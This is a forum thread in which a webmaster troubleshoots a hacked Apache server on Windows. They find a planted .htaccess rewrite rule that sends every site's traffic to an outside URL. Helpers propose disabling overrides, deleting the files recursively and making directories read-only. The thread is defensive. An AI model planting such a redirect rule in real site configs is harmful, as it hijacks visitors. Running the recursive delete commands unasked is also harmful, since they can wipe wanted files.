Solved

I was hacked - apache -webhosting

Posted on 2010-08-18
15
1,403 Views
Last Modified: 2012-05-10
Hi,

I have all websites on my server redirected to nonsense IP address.

1. It is not dns, since I have my clients on different registrars
2. it is not mysql because even simple pages are redirected
3. dns ping from my domains give me correct = my IP address

Heeeelp, please urgently or I am dead.
0
Comment
Question by:jbmd
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
15 Comments
 
LVL 7

Accepted Solution

by:
Milind Koyande earned 250 total points
ID: 33462036
Hello,

I would suggest you to check you website pages as it might possible that someone injected malicious scripts in them. Also scan your server for viruses or any backdoor.
0
 

Author Comment

by:jbmd
ID: 33462066
I checked my folders in my Inetpub  and noticed that all folders have the fresh date 18 August 2: and so.
0
 

Author Comment

by:jbmd
ID: 33462080
I am finding this file: .htaccess with this inside:

RewriteEngine On
RewriteBase /
RewriteRule ^(.*)? http://musikkorps.com/mainfile.php

the file is in apache, am searching for more
0
Independent Software Vendors: We Want Your Opinion

We value your feedback.

Take our survey and automatically be enter to win anyone of the following:
Yeti Cooler, Amazon eGift Card, and Movie eGift Card!

 

Author Comment

by:jbmd
ID: 33462100
this file is everywhere in my inetpub folders. i am removing it but how can I prevent it for the next time?
0
 

Author Comment

by:jbmd
ID: 33462131
QUESTION: since it is endless amount of this file spread in my inetpub directory, what is the crucial location, i.e. where should I go first to remove it so as the websites will function again?
0
 

Author Comment

by:jbmd
ID: 33462229
Ok, the answer is to remove it from the www root.

ANOTHER QUESTION:
is there a php script available I can use to dele htaccess files from todays date in one step?
0
 
LVL 3

Expert Comment

by:captainmish
ID: 33462542
To prevent this particular attack happening again, the easy fix is to add " AllowOverride None" to your apache config, this will prevent apache from using .htaccess files. If you do not use .htaccess files anywhere and want to delete them, you could just use a bash script to remove any (though it would be better to have all directories as read only for the apache user):

# find and remove all .htaccess files under /var/www
find /var/www/ -name '.htaccess' -exec rm {} \;

To make your directories read only, you could chmod ugo-w {directory} (add -r to make it recursive and change all directories). Some apps will need a few directories to be writeable, eg for cache, uploads etc, so be careful when changing directory permissions.

Have a look at http://httpd.apache.org/docs/current/misc/security_tips.html for some other good security tips.
0
 

Author Comment

by:jbmd
ID: 33462586
unfurtonately I use Joomla with SEF-URL for almost all my clients, so .httaccess is inevitable.
0
 

Author Comment

by:jbmd
ID: 33462672
I have windows OS, so what is a shell command for removing .httaccess from inetpub?
0
 
LVL 3

Expert Comment

by:csalaski
ID: 33462683
Have you checked Joomla and any of the makers of the plugins for patches to address security issues?
0
 
LVL 3

Expert Comment

by:captainmish
ID: 33462794
On windows you could make a batch file that runs

cd \your\web\root <- replace with inetpub or your webroot path
del /S .htaccess

This will recursively delete all .htaccess files (I have not tested this as I dont have a windows computer to play with, so try it first where it wont destroy things!). You could then add this as a scheduled task to run every day/hour etc
0
 
LVL 3

Assisted Solution

by:captainmish
captainmish earned 250 total points
ID: 33462806
You could write the htaccess stuff into the virtual host configurations for apache, instead of using htaccess files, it sounds like these may have been overwritten anyway, so it may be time for restoring your backups. Another way around it would be to restore the .htaccess files, then use windows file permissions to remove write access to them. If you cannot avoid htaccess files, restore and permission is the only way I can think of to get around this.
0
 

Author Comment

by:jbmd
ID: 33463682
csalaski: -> it happened also on freshly installed joomla
0
 

Author Comment

by:jbmd
ID: 33463729
is there a way how to forbid overwritting .httaccess in general config of apache?
(I have windows).

I do not want to do it od windows folder level manualy since I have a lot of files.
0
 
LVL 3

Assisted Solution

by:captainmish
captainmish earned 250 total points
ID: 33463909
Not sure about a way to make htaccess read only at apache level, and it probably wont help as the exploit will have used a shell escape (file system level) to write to those files. You could just do a windows search for .htaccess starting at the inetpub level, select all, and make read only?
0

Featured Post

Microsoft Certification Exam 74-409

Veeam® is happy to provide the Microsoft community with a study guide prepared by MVP and MCT, Orin Thomas. This guide will take you through each of the exam objectives, helping you to prepare for and pass the examination.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Suggested Solutions

One of the typical problems I have experienced is when you have to move a web server from one hosting site to another. You normally prepare all on the new host, transfer the site, change DNS and cross your fingers hoping all will be ok on new server…
Periodically we have to update or add SSL certificates for customers. Depending upon your hosting plan you may be responsible for the installation and/or key generation. In the wake of Heartbleed many sites were forced to re-key. We will concen…
A short tutorial showing how to set up an email signature in Outlook on the Web (previously known as OWA). For free email signatures designs, visit https://www.mail-signatures.com/articles/signature-templates/?sts=6651 If you want to manage em…
In an interesting question (https://www.experts-exchange.com/questions/29008360/) here at Experts Exchange, a member asked how to split a single image into multiple images. The primary usage for this is to place many photographs on a flatbed scanner…

733 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question